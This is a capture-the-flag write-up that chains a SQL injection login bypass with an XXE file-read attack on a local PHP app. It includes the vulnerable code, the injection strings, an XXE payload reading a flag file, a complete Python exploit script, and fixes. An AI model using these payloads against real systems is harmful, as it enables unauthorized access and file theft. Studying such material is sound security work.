The Challenge#
The challenge presented us with a PHP web application that had authentication and an XML parser. The application consisted of a login system and an XML upload feature that would process user-submitted XML files.
// login.php - Vulnerable SQL query
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
// api.php - Vulnerable XML processing
$dom = new DOMDocument();
$dom->resolveExternals = true;
$dom->substituteEntities = true;
$dom->loadXML($xml, LIBXML_DTDLOAD | LIBXML_NOENT);
Target: http://localhost:9090
Initial Reconnaissance#
First, let me show you what we’re working with. The application had these endpoints:
/login.php- User authentication with SQL injection vulnerability/index.php- Main application with XML upload functionality/api.php- XML processing endpoint with XXE vulnerability
I started by exploring the application and noticed it used both SQL authentication and XML processing. The Docker setup revealed the flag location at /var/flags/flag.txt. This looked like a classic two-stage attack waiting to happen…
Quick Analysis of the Source Code#
Here’s where the magic happens. Let me show you the critical vulnerability in the source code:
// login.php - Line 29
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
Direct String Concatenation: The application directly concatenates user input into the SQL query without any sanitization or prepared statements.
Why this is exploitable:
Direct string concatenation allows SQL injection
The
'character escapes out of the string literalWe can manipulate boolean logic to always return TRUE
The attack:
Use
' OR '1'='1in the username fieldThis escapes the string and injects our SQL logic
The
'1'='1'condition is always TRUEWe bypass authentication without valid credentials
Bottom line: The server executes our injected SQL as part of the query!
Forging the SQL Injection#
Let’s start by crafting the SQL injection payload. Since we know the query structure, we can manipulate it to always return TRUE:
-- Original query:
SELECT * FROM users WHERE username = 'admin' AND password = 'password123'
-- With our injection:
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = 'anything'
How the injection works:
First
'- Closes the opening quote from the templateOR '1'='1- Injects our SQL logic (OR condition that’s always TRUE)Last
'- Opens a new quote that gets closed by the template’s closing quote
Boolean logic breakdown:
username = ''β FALSE'1'='1'β TRUE (always)password = 'anything'β FALSEFALSE OR TRUE AND FALSEβ TRUE (due to OR condition)
This creates a valid SQL query that always returns results, bypassing the authentication check.
The XXE Exploit#
Now comes the real exploit. After bypassing authentication, I discovered the XML parser functionality. Let me show you the critical vulnerability in the XML processing code:
// api.php - Lines 26-30
$dom = new DOMDocument();
$dom->resolveExternals = true; // Allows external entities!
$dom->substituteEntities = true; // Substitutes entities!
$dom->loadXML($xml, LIBXML_DTDLOAD | LIBXML_NOENT);
External Entity Resolution Enabled: The application processes XML with external entity resolution enabled, allowing file system access through the file:// protocol.
Why this is exploitable:
External entity resolution is enabled
The
file://protocol allows reading local filesEntity substitution replaces our references with file contents
The attack:
Create XML with external entity pointing to flag file
Use entity reference to trigger file read
The parser substitutes the entity with file contents
We get the flag in the XML response
Bottom line: The server processes our malicious XML and reads local files!
Forging the XXE Payload#
The XXE payload targets the flag file directly. Since we know the flag location from the Dockerfile, we can craft the perfect payload:
<!--?xml version="1.0" ?-->
<!DOCTYPE test [<!ENTITY hacker SYSTEM "file:///var/flags/flag.txt"> ]>
<root>
&hacker;
</root>
How the XXE works:
DTD Definition:
<!DOCTYPE test [<!ENTITY hacker SYSTEM "file:///var/flags/flag.txt"> ]>Entity Reference:
&hacker;gets replaced with file contentsFile Access: The
file://protocol reads the local fileFlag Location: Based on Dockerfile, flag is at
/var/flags/flag.txt
The magic:
testis just a dummy name - could be anythingThe
[ ]brackets contain our entity definition&hacker;triggers the entity substitutionThe file contents replace our entity reference
This creates a valid XML document that reads and displays the flag file contents.
Time for Automation#
Now comes the execution. I need to exploit both vulnerabilities in sequence because the application requires:
- SQL injection to bypass authentication
- XXE to read the flag file
Here’s my complete exploit script:
import requests
def exploit():
print("starting exploit...")
session = requests.Session()
# Step 1: SQL Injection Login Bypass
print("-" * 30)
login_data = {"username": "' OR '1'='1' OR '1'='1", "password": "anything"}
response = session.post(
"http://localhost:9090/login.php", data=login_data, allow_redirects=True
)
print(response.status_code)
# Step 2 : XXE
xxe_payload = """<?xml version="1.0" ?>
<!DOCTYPE test [<!ENTITY hacker SYSTEM "file:///var/flags/flag.txt"> ]>
<root>
&hacker;
</root>"""
headers = {"Content-Type": "application/xml"}
response = session.post(
"http://localhost:9090/api.php", data=xxe_payload, headers=headers
)
print(response.text)
if "QnQSec" in response.text:
print("π©Flag found!")
exploit()
Key Takeaways#
This challenge was a perfect example of how multiple vulnerabilities can be chained together:
SQL Injection: The root cause was direct string concatenation in SQL queries
XXE Injection: External entity resolution allowed file system access
Authentication Bypass: SQL injection led to complete authentication bypass
File Read: XXE allowed reading arbitrary files including the flag
How to Fix This#
// β BAD - Direct concatenation
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
// β
GOOD - Prepared statements
$query = "SELECT * FROM users WHERE username = ? AND password = ?";
$stmt = $pdo->prepare($query);
$stmt->execute([$username, $password]);
// β BAD - External entities enabled
$dom->resolveExternals = true;
$dom->substituteEntities = true;
// β
GOOD - External entities disabled
$dom->resolveExternals = false;
$dom->substituteEntities = false;
This was a perfect example of how multiple vulnerabilities can be chained together for complete system compromise. The key lesson here is that input validation and secure coding practices are critical - both vulnerabilities could have been prevented with proper security measures.